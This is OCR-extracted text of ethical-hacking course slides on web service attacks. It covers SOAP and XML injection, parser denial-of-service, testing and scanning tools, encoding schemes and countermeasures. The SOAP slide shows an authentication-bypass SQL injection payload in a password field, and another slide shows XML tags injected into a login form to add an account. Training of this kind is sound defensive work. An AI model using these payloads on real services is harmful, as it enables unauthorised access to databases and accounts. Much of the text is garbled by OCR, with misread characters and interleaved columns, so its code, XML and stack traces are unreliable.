- <soap: Body>

- <soap:Fault>

<faultcode>soap:Server</faultcode>

<?xml version="1.0- encoding="U TF-§' standalone="
no' 7>

- <SOAP-ENV: Envelope )(mins:
SOAPSDK1="http://www.w3.0rg/2001/
XMLschema'

xmlins: SOAPSDK2="http ://www .w3 .org/200

€

http:

arbitrary character
(‘) in the input field

<faultstring>System. Web .Services .Protocols .SoapException: server was unsale 1o process
Attacker I/XMLSchem.o- inst.once” = e tenissi )
o 5 request. --> zystem.Deta.0leDd.OleDhException: Syntax error {missing operator) in query expreszion
. xmins: SOAPSDK3="http://schemas .xmlso.op ane providerid = ‘312- 111 - 8543 At
- .org/soap/ encoding/' xmins: SOAPENV= 0ieDb.OleDdcommand. ExecuteCommandTextérroriandling
= 2 - m.Dats.0leDd OleDbcommand. ExecuteCommandTextForSingleResust
- http://schemas .xmisoap .org/soap/ envelope/'> bParams, Objectl executeResult) at
- - <SOAP- ENV:Body> =m.Dats OieDb.OleDocommand. ExecuteCommandTert|Object&exacuteRezult] st System Data OleDb
- L .) DbCommand .ExecuteCommand [Command Senavier be or, Objects executeResult) st System Data

R R e > - <SOAPSDK 4: GetProdUctinformationByName
xmins: SOAPSDKA=" http:

Attacker inject

APSDKA: name A e
<SOAPSDK4: uid>312 - 111 - 8543</SOAPSDK4: uid>
<SOAPSDKA: password> 5648</SOAPSDK4:
password>
</SOAPSDK 4: GetProduct In forma ti 0 n By Name>
</SOAP-ENV: Body>
</SOAP-ENV: Envelope>

Server throws 5

.0ieDb OleDbCo mm an

cuteRe aderl nterns | {Commana Behavior dehavior, String method) at
em.Data.OleDb OleDbcom mand.ExecuteResder|CommandBenavior behavior) at

B .Dsts.0leDb OleDbcommand.ExecuteResder|) at Product Info. ProductDBACcess - Get Product
Informastion(String p roductName, String wid, String pazsword) at
Productinfo_Producinfo.GetProductinformationByName{String name, String usd, String password) —- End of inner
sxception stack trace —-</faultstring>

<detail />

</soap: Fault>

</soap : Body>

</soap: Envelope>

an €rror
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Web Service Attacks: SOAP Injection

) Attacker injects malicious query strings in user input field to bypass web
services authentication mechanisms and access backend databases

J This attack works similarly to SQL Injection attacks D

Server Response
http://juggyboy.com/ws/products.asmx

<?xml version="1.0" encoding="utf-8' ?>

Account LDE"‘I - <spap: Envelope xmlns: scap=''http://schemas
.xmlsoap.org/scap/envelope/"

Username A R— - xmlns: xsi ="http://www .w3
% < .org/2001/XMLSchema-instance’

e - . xmins: xsd='http://www .w3
Password Submit F .org/2001 /XMLSchema >

- <scap:Body>

P ) . Fs . . - <GetProductlnformationByNameResponse
. =2 version= ' 1.0' encoding= 'UIF-8' standslone= 'mo" 7> - - . - 1

* - <SOAP-BHV:Bnvelope smlns: SOAPSDE1="http://www.w3.org/2001/XMLSchema ' = - xmlns="http://juggyboy/ProductInfo/">
" xmlns: SOAPSDE2=' http://www.w3.org 2001/ XMLSchema - instance’ B - <GetProductlnfeoermationByNameResult>

: smlns: SOAPEDKI=' hitp://schemasz.a=lzcap. org/sosp/encoding’' a=las: F <productid> 25 </productid>
= fug&\f;;st;éi::m: e e ey <product Name >Paintingl0l</productName >

" _ <SOAPSDEA -GatProductlnformstionEytams H <productfuantity>3</productQuantity>
- :;;;.;ni?mm: h;:l’:” j‘;‘J‘JYbC'Y”P“C'“'“"tl“f" NS <productPrice> 1500</productPrices
I name L ORPSDEE - name> -
<SOADEDF4: uid»312 — 111 - 8543</SOADSDE : mids < /GetProductlnformationByNameResul t>
<SOAPSDK4: passwords’ or 1= 1 or blah = '</SOAPSDK4: passwords </GetProductlnformationByNameResponse>
=/SOAPSDE 4: GetProdoctInformationByNams> </S0AP-HRV:Hody> </soap: Body>

</soap: Envelope>
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Web Service Attacks: XIVIL Injection

) Attackers inject XML data and tags into user input fields to manipulate XML schema — =
or populate XML database with bogus entries

< XML injection can be used to bypass authorization, escalate privileges, and generate
web services DoS attacks

Server Side Code

) | rupifiuezyboy.com/ws/iogin asmx <?xml version="1.0" enceding="IS0-B859-1"7>
r <users>
. <user>
CJ o ACCO unt Log| n <username>gandalf</username>
\\,. <password>!ci</password>

_ Username <userid>101</userid>

<mail>gandalffmiddleearth.com</mail>

</user>
Password 12345 <users

<username>Mark</usernames

E . | <password>12345</password>
-mail @ Supmit <userid>102</userid>
<mail>gandalfimiddlecarth. com</mail>
:u-ouou-uuou.uou.uu:u.u.uunuu. "{_,.:1_.1;:.:3_1'.::; ....................................

<user> .
<username>jason</username> . Creates new
<passwordrattck</password:>
<userid>105</userid> .

<mail>jascnijuggyboy.com</mail> on the server

mark@certifiedhacker.com</mail> </user=
<user= <username=Jason</ussrnames
<password=attack</password>
<userid=105</userid=<mail>jason@juggyboy.

wsaassap user account
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Web Services Parsing Attacks

Parsing attacks exploit vulnerabilities and weaknesses in the processing capabilities of

XML parser to create a denial-of-service attack or generate logical errors in web service
request processing

Recursive Payloads

Attacker queries for web services
with a grammatically correct SOAP
document that contains infinite
processing loops resulting in
exhaustion of XML parser and CPU
resources

Attackers send a payload that is
excessively large to consume all
systems resources rendering web
services inaccessible to other
legitimate users

\ Oversize Payloads |
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Web Service Attack Tool: soapUI

SOAP Monitor [monitordemo]

0

P X HTTP Proxy on port 8081
| Monitor Coverage ‘
' Q
o Request Host |- all - v Target Host |- all - v| Interface |- all - ¥, Operation |- all -
Co... Time Request Host| Target Host | Interface | Operation Tlme Tak.. ReqSz Resp Sz @]
: . 2 : 0 2010-03-18.. www.webse... www.webse... CurrencyCo... Conversion... 1212 345 381
SoapU| is the Ieadlng deSktOp appllcatlon 1 2010-03-18.. www.webse... www.webse... CurrencyCo... Conversion.., 1318 345 381
for inspecting: invokine: monitoring: 2 2010-03-18.. www.webse... www.webse... CurrencyCo... Conversion... 1260 345 38
) p- & i g ) & 3 2010-03-18... www.webse... www.webse... CurrencyCo... Conversion... 1679 345 381
simulating or mocking, and functional, 4 2010-03-18.. wwwwebse... wwwiwebse... CurrencyCo... Conversion... 1637 us 382
load, compliance, and surveillance testing
of REST, WADL, SOAP, and WSDL-based e
Web SerViCEs over HTTP = |=soapeny. Envelope xmine sospenv="tltp Vschemd & :-._: <soap Envelope wmls sp="ilp fschemas xmisoap cr\_x.f‘.:_
; <sospeny Hesder i '; <soap Body>
. | «soapeny.Body> I «ConversionRateResponse wmins="rtp Awww websz
Features. |‘§ <wely ConversionRates 3 <ConversionRateResult>0 015« ConversionRateRest
1 SerVice Simulation |~ ewebFromCurrency>DZD</weks FromCurrer] f~ </ConversionRateResponses
. | '5' <web: ToCurrency>AUD<Avet ToCurrency | | ‘c_" <fsoap.Body>
B . - B | . .
H H 3 </web ConversionRate> | 5 |</soap Envelope>
2. Functional Testing ’°, osisnanien 3
H |'x [</sespenviEnvelope~ t
3. Load Testing | i
; L
= [ [o]] | ==« DEY
Header Value | Header Value
f |{Host wwaw.webservicex.com |a| IX-AspNet-Version 2050727 -
‘ Content-Length 45 Date Thu, 18 Mar 2010 13:44:08 ..
SOAPAction "http://www. webservic... Content-Length 381 L
Accept-Encoding qzip,deflate Content-Type text/xml; charset=utf-8 |
Headers (7) [Attachments (0)\ WSS (0) IMSG._ < » | | Headers (7) [Attachments (0)| WSS (D)) IMS (7) | Tabl._ ¢ »
Message Content J

http://www.soapui.org
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Web Service Attack Tool: XM LSpy

J Altova XMLSpy is the XML
editor and development
environment for modeling,
editing, transforming, and
debugging XML-related
technologies

_J It provides unsurpassed
compliance with the latest
industry standards,
including XML, XML
Schema, XSLT, XPath, and
XQuery, as well as SOAP
and WSDL 1.1 / 2.0 for web
services development

5

€D Attova XMLSpy - [TimeService 20 wsdl]

'& Fle fdt Project XYM 010/ichena Schemadesign XSUWQuery Authertic Q8 Comvert View frowser WSOL SOW° JBRL  Took Wirdow Heb

DR W@ & D8 o MRS Gud vV BRP BOE 89

= o]

-8 X
(6 5 @GS &

Profect
L ey
B resrnstioonl
BED Purchase Order

B DT0Schanss
address xaol
poxsd

BE3 SOaP Debugger
BE WL Edtor
) TmeService wid
TimeService20.wsdl
EES MagForce
B 6D ety Standarss

3 X [uertaces

~

& TimeServiceSoap soap ¥

~ Wy .
b E2 FeutTmeZonehiotf our B vl > xe: sOiTH e WSOL mports
P 0 FRLENOHOUS x hebo: . Q TreZecvics 5‘:‘*@-! mports
T el £ s0-FalTmeZoneNotFound Sei b B Trees

¥ 5 shugetServerCRy

3 :0FakChytFound A ol e 3¢ L diridoins
- S < . B3 trdrgs
- b = sOoouuUTCTime G TmeServiceSosp
= S0:9eLTCTime b 2 sugetOffsetUTC Time B &) Services
el In b sugetServerTone 81§ TreService
) 0;0etUTCTimy P = cuoetServesTmeZoon
O

Bardinngs Services || Overview 9 x
A descrption
tns: NRp:fivwwons, Naronul com/ T
55 TimeServiceface &) TimeSer. © WL inchades

D ¥BRL Exangin: b o= getofisetlTCTime = mp’ < ot Naws) ‘ N
BE Camvl Corp P 2 ostServerTime P = et TmeZonsTime |
26 Noncout b = oetServerTmeZone b2 et ClyTiee FM—-—___:

B Reonts P o ostSarvercy I 30 gutServerCl v
(i) Nornuasps O} b = onTmeZoneTme wll | =
BES Taxonomy Fles ie 3 | R fweerer Nanon
@ ranceud xsd ! s
! al - b Test Gnid Schema WSDL XBRL Auhensc Eoowoer
wéo 3 x | rmeservicezo.wsdl 4
Massams x |
(:1 v|al miwigss X
= € Flle C'Oocuments and Setings\encbly DocUTents ARova UL Spy201 1 Exangies T meses ice20 wad = vabd
- o x
~
>
~
Q
kd
< >
Info Massages r
XMLSpy Enterpeize Ediion v2011 Registerad to ks Devgood (akovs, Inc.) £)1938-2010 Akova GrbH Ln 25, Col 13 L)
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Module Flow

Web App Pen Testing ﬁi—l @ Web App Concepts y

Security Tools g g El | é% Web App Threats y
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http:

Web Application Hacking Tool: . ,
Burp Suite Professional

(® burp suite professional v1.3.01

buip intruder repeater window help

| target | proxy | spider | scanner | infruder | repeater | sequencer | decoder | comparer | options
1 {52
target positions | payloads options
attack type |sniper v

4 payload positions
POST

length: 542
search/1/Dataule. aspy HTTP/1.1

-
: 192.1€8.182.
-hgent: Mozilla/S.0 (Vindows: U; Vindows NT £.1; en-GB: rv:1.5.2)
Ge 20100115 Firefox/3.€
A pe: text/huml,applicacion/xhemi+xml, application/xwl; g~0.9,*/*;q=0.08
Accepr~Languag n-gbh,en;q=0.5
ccept-Encodin
Acce =Charset: ISO
e: 115
onnecrion:
Reterer: htep:/ 128/seaveh/ 1/ Detanlt. aspx
Content-Type: application/x-vev-form—urlencodec
Content-Length: 11&
VIZUSTATE=-SASFwEPDRURNIAIN) cONSMI MVRXD SudgCOs SymbvXdul Ui k45 S FRLYy YON 3D
ES-.“: ¢hTerm=§a§sSearchButron=§Searchfiscarchrype=§1§
-
| N N 0 maiches

=

alerts

add §

clear §

auto §

refresn

dear

2 |

Burp Suite is a web applications security testing
platform that supports the entire testing
process, from initial mapping and analysis of an
application's attack surface, through to finding
and exploiting security vulnerabilities

-
(D wruder sttack 1
Mack save columns

Filtar: showing 34 tems

resuts | wget | poaitons | paresds | ectons

el

reaponse

> €/ harts ¢ /> Chmaits ¢ sifirestary Lixting

STLe> </ how
“hodyr<nlsbirectory Listing Demied«/LisThis Virtual Directory does net allew
contents to he Lixted ty> < 1y> </ bre
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Web Application Hacking Tools:
CookieDigger

¥* Foundstone Cookie Digger

B CookieDigger helps identify weak s
cookie generation and insecure Foundstone: | CookieDigger”
implementations of session - i
management by web applications

It works by collecting and analyzing
cookies issued by a web application
for multiple users

UsedD

The tool reports on the Fle@tohusl con

predictability and entropy of the S —
cookie and whether critical
information, such as user name and
password, are included in the

cookie values

Nurmber of cookies to be colected [2 3:

<< Back I
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Web Application Hacking Tools: WebScarab

-J WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols

J It allows the attacker to review and modify requests created by the browser before they are sent to the server,
and to review and modify responses returned from the server before they are received by the browser

£ webScarab ) —lofx||

ew Tools Help at

4y Messagelog | Proxy Manual Request  WehServices Spider Extensions @ SessionlD Analysis = Scripted  Fragments | Fuzzer Cuol

[T} summary o o
|| Tree Selection filters conversation list
) ; Url | Methods Status Set-Cookie Comments | Scripts
¢ [ hitpiivwew.owasp.org:80/ GET 301 Moved | | ]
- bannerst M - Ll
- [ images/ ] - [
¢ [ index.phps ] lad -
[ Main_Page GET 200 OK m v v
o (3 skins/ [
ID T Date Method | Host | Path Parameters Status |  Origin
5 |ZUUBIUGIZY. |GET |RHp TR Gwasp.ora 8U ISKinsimonoboorimain.... |77 [ZU0OK Py | -
4 |2006/06/23... |GET |hitp: e, owasp.org:80|fskinsicommonfEF ixes... | 200 OK |Proxy |
3 [2006/0823..[GET __|hitpiwww.owasp.org:80 Jskinsicommon/commo..| 2000K _ [Proyy | ,
2 |2006/06/23... |GET Ihttp:ihwww owasp.org:80 [index php/Main_Page | 1200 OK |Proxy | "
1 2006/06/23.. |GET hitp:Shweww owasp.org: 801/ | 301 Moved . |Proxy v
4] »
http://www.owasp.org

Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

http://i-train.com.vn
CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design

http://cchwn (el EE NEWS 6

Canified Ethical Hacker




Hacking Tools
’9 Instant Source

| 4 ! e \J!‘ GNU Wget
http://www.blazingtools.com L http://gnuwin32.sourceforge.net
l | —_—

@  Web sleuth | Blackwidow

http://sandsprite.com http://softbytelabs.com
S’

@E SiteScope
- —

http://www.foundstone.com

M cURL

http://curl.haxx.se
%"’ f w3af

http://w3af.sourceforge.net

ey N
‘ (& HttpBee

http://www.o00.nu
——

http://cchwn (el EE NEWS
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Module Flow

Web App Pen Testing ﬁi—l @ Web App Concepts y

Security Tools e é% Web App Threats y

m!:‘rﬂ Hacking Methodologyv

Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

http://ceh.vn {8 } = ar http://i-train.com.vn
CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design




Encoding Schemes

@ @
Web applications employ different encoding schemes for their data to safely
handle unusual characters and binary data in the way you intend
z B Z
4{ Types of Encoding Schemes F
: HTML Encoding
URL en ng is the process of HTML encoding scheme is used to
converting URL into valid ASCII : represent unusual characters so that

format so that data can be safely
transported over HTTP

they can be safely combined within
an HTML document

It defines several HTML entities to
represent particular usual characters

URL encoding replaces unusual ASCII
characters with "%" followed by the

character’s two-digit ASCIl code such as:

expressed in hexadecimal such as: &amp; &
%3d = &lt; <
%0a New line &gt: >

%20 space
R S
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- Encoding Schemes

Unicode Encoding

@ 16 bit Unicode encoding:

It replaces unusual Unicode
characters with "%u" followed
by the character’s Unicode
code point expressed in
hexadecimal

%u2215 /
%u00e9 e

® UTF-8

It is a variable-length encoding
standard which uses each byte
expressed in hexadecimal and
preceded by the % prefix
%c2%a9 G]
%e2%89%a0 #

Cortiiod | Exbical Mader

s NEWS

Ceanified Ethical Hacker

http://ceh.vn J’q

Base64 Encoding

@ Base64 encoding scheme
represents any binary data
using only printable ASCII
characters

Usually it is used for
encoding email attachments
for safe transmission over
SMTP and also used for
encoding user credentials

Example:
cake =

Base64 Encoding:

http://i-train.com.vn

Hex Encoding

@ HTML encoding scheme uses
hex value of every character
to represent a collection of
characters for transmitting
binary data

Example:
Hello A125C458D8
Jason 123B684ADSY

101010 |
010101
101
_. 7/

-
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How to Defend Against SOL Injection
Attacks?

Limit the length
of user input

Use custom

error messages
,;/{ Monitor DB traffic
v/

Disable
using an IDS, WAP

‘ Isolate database
commands like ' server and web
xp_cmdshell

Always use Run database Move extended
method attribute service account stored procedures
set to POST with minimal rights to an isolated server

Use typesafe variables
or functions such as

Validate and sanitize

user inputs passed to
IsNumeric() to ensure the database
typesafety

Use low privileged
account for DB
connection
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How to Defend Against

Perform input validation Escape dangerous characters

Use language-specific libraries that y Perform input and output
avoid problems due to shell Oy A "‘ll encoding

commands [r_-;jL‘

e,

Structure requests so that all
supplied parameters are
treated as data, rather than
potentially executable content

Use a safe APl which avoids
the use of the interpreter
entirely

Use parameterized SQL queries Use modular shell disassociation from kernel
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How to Defend Against XS5 Attacks?

1. Validate all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters)
against a rigorous specification

2. Filtering script output can also defeat XSS vulnerabilities by preventing them from being
transmitted to users

B R T R e Ty

3. Encode Input and output and filter Meta characters in the input

6. Convert all non-alphanumeric characters to HTML character entities before displaying the
user input in search engines and forums

T

7. Use testing tools extensively during the design phase to eliminate such XS5 holes in the
application before it goes into use

T

8. Develop some standard or signing scripts with private and public keys that actually check to
ascertain that the script introduced is really authenticated

CIEH

Cortiiad | Ethiral Haiber
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How to Defend Against DoS Attack?

Configure the firewall to deny external Internet Control Message Protocol (ICMP) traffic access
Secure the remote administration and connectivity testing

Prevent use of unnecessary functions such as gets, strcpy, and return addresses from overwritten etc.
Prevent the sensitive information from overwriting

Perform thorough input validation

Data processed by the attacker should be stopped from being executed
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Configure WSDL Access Control
Permissions to grant or deny
access to any type of WSDL-
based SOAP messages

Deploy web services-capable Implement centralized in-line
firewalls capable of SOAP and requests and responses
ISAPI level filtering schema validation

Configure firewalls/IDS
systems for web services
anomaly and signature
detection

Block external references
and use pre-fetched content
when de-referencing URLs

Use document-centric
authentication credentials
that use SAML

Use multiple security ' . —_—
credentials such as X.509 Ceft, Configure firewalls/IDS Maintain and update a

SAML assertions and WS- systems to filter improper secure repository of XML
Security SOAP and XML syntax schemas

How to Defend Against Webh Services /At
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Web Application Countermeasures

i .
Unvalidated Redirects Broken Authentication \
and Forwards V and Session

Management
1. Avoid using redirects and forwards 1. Use S5L for all authenticated parts of the
2. If destination parameters cannot be application
avoided, ensure that the supplied value 2. Verify whether all the users’ identities and
is valid, and authorized for the user credentials are stored in a hashed form
3. Never submit session data as part of a GET,
POST
Cross-Site Request Insecure Cryptographic :
Forgery Storage
1. Logoff immediately after using a web 1. Do not create or use weak cryptographic
application and clear the history algorithms
2. Do not allow your browser and wehsites to 2. Generate encryption keys offline and
save login details store them securely
3. Check the HTTP Referrer header and when 3. Ensure that encrypted data stored on disk
processing a POST, ignore URL parameters is not easy to decrypt
I

Copyright @ by EG-Geuncil
All Rights Reserved. Reproduction is Strictly Prohibited.

=

http://ceh.vn

S B
EeH NEWS 6 I . TmRAEIR http://i-train.com.vn
Fere s CEH, MCITP, CCNA, CCNP, VMware sPhere, LPl, Web Design




Web Application Countermeasures

Insufficient Transport Layer Cookie/Session

Directory Traversal

Protection Poisoning

1. Non-SSL requests to web pages 1. Define access rights to the 1. Do not store plain text or
should be redirected to the SSL protected areas of the weakly encrypted password in
page . , website a cookie

o t.h? e flag an el 2. Apply checks/hot fixes that 2. Implement cookie’s timeout
sensitive cookies Mol

3. Configure SSL provider to support prevent the exploitation of 3. Cookie’s authentication
only strong algorithms the vulnerability such as credentials should be

4. Ensure the certificate is valid, not Unicode to affect the associated with an IP address
expired, and matches all domains directory traversal 4. Make logout functions

used by the site 3. Web servers should be . available

5. B:ck‘e:dland other conn:ctions updated with security patches
should also use SSL or other in a timely manner

\ encryption technologies ) \ ) \ )
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Web Application Countermeasures

@ Security
Misconfiguration

r

O Configure all security
mechanisms and turn off all
unused services

O Setup roles, permissions, and
accounts and disable all default
accounts or change their
default passwords

2 Scan for latest security
vulnerabilities and apply the
latest security patches

® ¢

© LDAP 2

Injection Attacks

() Perform type, pattern, and
domain value validation on all
input data

() Make LDAP filter as specific as
possible

2 Validate and restrict the amount
of data returned to the user

) Implement tight access control
on the data in the LDAP directory

J Perform dynamic testing and
source code analysis

2 )

@

(M

File @
Injection Attack

Strongly validate user input
Consider implementing a chroot
jail

PHP: Disable allow_url_fopen

and allow_url_include in php.ini

PHP: Disable register_globals
and use E_STRICT to find
uninitialized variables

PHP: Ensure that all file and

streams functions (stream_%¥) are
carefully vetted

Q
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How to Defend Against

Configure the firewall @y Shut down the
to deny external UNBEre S a0
ICMP traffic access services and ports

AR R R L L LALS AL LA

Perform
input validation

V/ 7
* Keep
Attacker Login Form Internet Use WAF Firewall : patches
- " /1DS and filter packets Web Server current
\ 4

Connect to the database

7
( ) \\V/ using non-privileged account o\ —
It R L e TR TR TR (C '—] \// Analyze the source
U REE T
N (5(\4 7 Use stored procedures Ln. Rt Ik Ryetion rensas
\ | 3 > } Gussessassssusssssssssssasania
—® s T N Minimize use of 3rd 3
S .~ Grantleast privileges to the 1 party apps D
DBMS / database, tables, and columns Web Application Sanitize and tiiter
: : - user input
: Disable commands like Perform dynamic testing :
x : xp_cmdshell and source code analysis :
: Q \// .
E = .
e T x
Pl Cerrrnnennnrennnnennet B T assassnnsssascannas >
<M ake LDAP filter Disable verbose error
as specific as possible messages and use custom
error pages h
LDAP Server Custom Error Page
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Module Flow

Web App Pen Testing ﬁi—l @ Web App Concepts y

é% Web App Threats y

P m!:‘rﬂ Hacking Methodologyv

—

&

Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

http://ceh.vn {8 } = ar http://i-train.com.vn
CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design




Web Application Security Tool: Acunetix
Web Vulnerability Scanner

= .y [2) Acunctid Web Vulnerabilty Scanner (Entesprise edition) =I1®] x|
) Acunetix Web Vulnerability o Yo T
Scanner detects web server e Scan | & Ee o et TR Y S
type and application language Tock Bxtleeds B ) 5l 3| repot | ) start ek rpise.168.100.217:000p0cns | Profes | defack | Dam
s " uiner sbility Scanner Somn Revds S ; 7 =
using crawler 5 :.::;scm T OIS T 5 e # Scan Thread 1 ( http:/1192.168.100.217:80/pacms=
% b Ske Cravder = |y Nerts (523) v
. Itincludes advanced T Tirpst et 5 @ Crowe 2a soron ) ¥ Vulnerability information
. . . Subdomain Scannes = |} fosamsjupdate. pho (2)
penetration testing tools, such 3 HTPEGe 5 0 fe@ Threat levol
- ¢2 HTTP Seifer van Cumetix e avel
as the HTTP Editor and the HITP Fuazer i ool Bt
%) mughenticarion Tester S5 sasion Miaiin (23 Level 3: High ae vuinarabiiies hav .
HTTP Fuzzer & Gt PRt b et

Port scans a web server and
runs security checks against
network services

Test web forms and password
protected areas

It includes an automatic client
script analyzer allowing for
security testing of Ajax and
Web 2.0 applications

It enables administrator to
perform in-depth SQL
injection and Cross-Site
Scripting testing

|

Web Sarvices

¢ Web Services Scarner

& Web Services Edvor

Configuration

& Settngs

¥ Scanning Profiles

Genacal

3 Prograns Updates
Version Information

& xensng

&) Support Center

£) Purchase

&) User Manuad (heesl)

) User Manudl (pd)

*

s @ Erokanbeks (15)

% @) TRACE Method Enabled (1)

# @) Possbin senstive deectores (3)

# @ Drectory kting found (216)

1 @ Appacaton error message (10)

# @) Password type iInput with atocomplete ensbled (8)
4 @) GHOB: Asaths dractory Eitng which show Apache

& Kriowiedge Base (6)

m A
| foscmsjsrc

O GHOE: Ples uploaded through FIP (%4)

A Framework script. aodo.us
Ajax frameveork, prototype
Agax Framework. scrpt. soso us

Ay Frameveork. prototype
st of chart scrpts
Uzt of Fles with nputs ~|

database andior daface your
websie
Aletts found
Total aberts formd 53
0 2| &
O todnn 2
O Low =
O weormational 275 [ NG

icious user can xploit
hese winerabilities and
tomprormes e th end

@ Scan information

Target uformation
Target

heep: /7192
nace

68,100, 217:80/

ARy Nndon

nowledge bese finshed.
Ohecking for stored XS5 ,

Stored X5 fireshed,

¥indshed scanning.

[Saving scan results to database .,
Dore syving to database,

rielle

Lk

|+ 'mxmmq]amrto;

FReody

http://www.acunetix.com
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B Falcove scans website for

application layer vulnerabilities
and allows you to penetrate
into the system through
vulnerable web applications
and misconfigured database
connections

It automatically crawls website
to detect web vulnerabilities
such as:

Cross-Site Scripting
SQL Injection
Code Execution Attacks

Input Validation

Canified Ethical Hacker

¢ example.com - Falcove ¥ 2.4

fle Edt View Crawier Qatsbase LRites Commands Help
e
!“;; Crawler

:c-{ Project Settings
s

>3
. Database Structure

?!: Data Transfer

5. Utiities
»__\1 Fixed Diives
™ Exploter
0 File Views:
[¥) DSN List
x Enor Log

; Registry Editor

z Access DB Crazh

[ P
| A Scripts

-
SQL SQL Window

‘._J
\' Command Shell

B+

Notasx

C

http:

Web Application Security Tool: Falcove
Web Vulnerability Scanner

[ =10} xj

= duBY . EEE V0|8
1]

Diectory

fC;\ E] = |

‘ - File Name Size | Last Modiied -

TESTSERVEROM  tools 00/09/2005 0421 PM
TESTSERVER0O2 3 08/01/2005 1028 AM
TESTSERVERDN3 0801
TESTSERVERD04 wm% :g;‘m
j g:mkw OE/01/2005 10:21 AM
TESTSERVER00S ol e
TESTSERVERSAL osmus mmznrs :g:;m
08/01/2006 0352 AM
08/01/2006 0351 AM
08/01/2005 0951 AM
08/01/2005 0951 AM
08/01/2005 0251 AM
08/01/2005 04:38 AM
D8/01/2005 04:38 AM
512 0R/01/2005 04:25AM
38 08/01/2005 D425AM |

%

exghbours

fRINIR(E

5 74 Local Disk (E:) = AUTOEXEC BAT
#-) Data =1 CONFIG.5YS
+-J backup | 31 M5D05.5YS

13 10.5Y5
I TEMP
- PNFORVS
=1 BOOTSECT.DOS
=1 $WINNT LDG

B BB ¥ 3 X

Sync Stop Copy Move Rename Oplete

\\TESTSERVER004\Backup\

[Fie Biowses: [locahost] The process 1s beng intiskzed
Fie Browset: Stop signal sent
Fis [ocahost] The pro it

http://www.buyservers.net
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Web Application Security Scanner: Netsparker

i) test23netsparker.com - Netsparker 13.0.0
B Netsparker performs fe (N Yiew @ Beporing X Setings

d (_'dsun.unkm () Schedute a New Scan -
automate 7 Sae i Vulnesshility HTTP Request /
comprehensive web - (@ te=23 netsparker.com 4 Execute QL Gormmends | [l Get Shel

@) sQuiBench2d

Bppficat o seais for g sanme | Boolean Based SQL Injection

vulnerabilities such as © Defauaspe

© Defauitiospx

Hee = - Injection occurs when data input for example by a user is interpreted as a
SQL injection, cross-site © Defaur.asp Vel SQL
L 1 J I ’ Cross s't @ Defouranpc Toble of Cont SQL command rather than normal data by the backend database. This is an
; Injact

scri pting remote COde R PSS Sy SIS0 extramely common vulnerabiity and its successful exploitation can have eritical
’ o_Yuinerat 12 v s (KPR Ao YO : WA
injection, etc. K]

SELECT TOP 1 pame FROM master. sysloging » Run Query 4 |

“

It delivers detection,
confirmation and

exploitation of
vulnerabilities in a single , = ‘

. .
integrated environment e — T
) /5QUBeNch2 0/MSSQL-Numetic-Bind-NF/Default.aspx (name)

& & Database User Has Adman Privileges 1 Vulnerakidity Type
4] ViewState is not Encrypted
Scan Information i @ Microsoft SQU Server Identified

Current Speed: 2.7 reg/sec & @ E-mail Address Disclosure Confirmaticn

Average Speed : 31 req/sec + &3 0S Version Disclosure

Total Requests: 10 & @) ASP.NET Version Disclosure URL

Failed Requests: 0

HEAD Requests: 0

Hapsed Time: 0000:35

[ o [RETIIIONY | ..., [T

Scan and Confi finished.

Group Lizues by

0003 /0003
Severtty

http://www.mavitunasecurity.com
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Web Application Security Tool: N-Stalker
Web Application Security Scanner

B N-Stalker Web Application

Security Scanner is an effective

P : Start Web Application Security Scan Session
suite of web secu Iy assessment You must enter an URL and choose policy. Scan Settings may be configured.

N-Stalker Scan Wizard

checks to enhance the overall

security of web applications Optimizing Settings

against a wide range of e o

vulnerabilities and sophisticated (You may choose to fun 3 3anes of tests 1o allow for cptimzatien or chek Next 1o 0ontnoe)
hacker attacks Optimze Results  Authentication  Faise Postive  Engine  Miscefaneous

s s Choose URL & Policy Optimization Progress
It contains all web security

Optimize setngs [ wx
assessment checks such as : RIS

B ey ptuis: Optimzation sucosssfully compiets
1. c°de injedion Start Scan Session Optimization Results

Cross-Site scripting XferRate [0.14KB/s | AvgResponse 36222 ms Conn Faiures [10%

2
3. Parameter tampering
4

Web server vulnerabilities

(Right-click over an item 10 See Suggested actions)

Scan Settings Optimize <«Back | cancel |[ Next>> |

http://nstalker.com
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Web Application Tools

I
i)

SandcatMini

http://www.syhunt.com

SecuBat Vulnerability Scanner
http://secubat.codeplex.com

SPIKE Proxy

http://www.immunitysec.com

NI

ﬁ’ ~) OWASP ZAP
m&é http://www.owasp.org

nn
Wil

% skipfish

http://code.google.com

Websecurify

http://www.websecurify.com

q

> ’ /:'j..‘
)  HP Weblnspect , 3r—JL' NetBrute
X https://h10078.www1.hp.com | - http://www.rawlogic.com
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Web Application Tools

= Paros Proxy !‘ |  WebWatchBot
; & http://www.parosproxy.org \ : % http://www.exclamationsoft.com
— e
. Emsa Web Monitor _ %5 KeepNI
http://www.e-systems.ro ; http://www.keepni.com
‘ : J
¢ Ratproxy =5U 1| Grabber
http://code.google.com &C.b http://rgaucher.info
L5 Wapiti [M XSSS
L http://wapiti.sourceforge.net = ; !°' http://www.sven.de
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Web Application Firewall:
dotDefender

=,1,| J dotDefender is a software-

e iy a s based web application
(329 davs lefl}
s sy Firewall
| U e
L Globsl Setirgs -
M:T:,::q%m rsﬂLlniechon = dotDefender co mplements
S — the network firewall, IPS,
4 IWhsalek (Pams iad fox :
AL e and other network-based
| 3 Bulfer Ovesfow ¥ Suspect Single Quote (Safe) )
' 2 90t becsen Internet security products
i 5’::,;"; # Pattern = Pattern
¥ ) G- ety ®
| :S@emeie | o classicsat Comment - J Itinspects the HTTP/HTTPS
- oo traffic for suspicious
| - O e comundto| | P 5QL Comments behavi
| & & s beocionesam ehavior
| DB L. # *Union Select’ Statement i
‘ ”;_::;'“;(::‘w ~ ‘Select Version® Statement - Itdetects and blocks SQL
0| Athera FTP :-':;zu-";.- ] | .
| - *| & sqL cHAR Type injection attacks
[ 7 SOL 5YS Commands
j & 15_SRVROLEMEMBER followed by (
# M5 SOL Specific SQL Injection
] Il I =

http://www.applicure.com

Copyright @ by EG-Geuncil
All Rights Reserved. Reproduction is Strictly Prohibited.

http://cchwn (el EE NEWS

Canified Ethical Hacker

http://i-train.com.vn
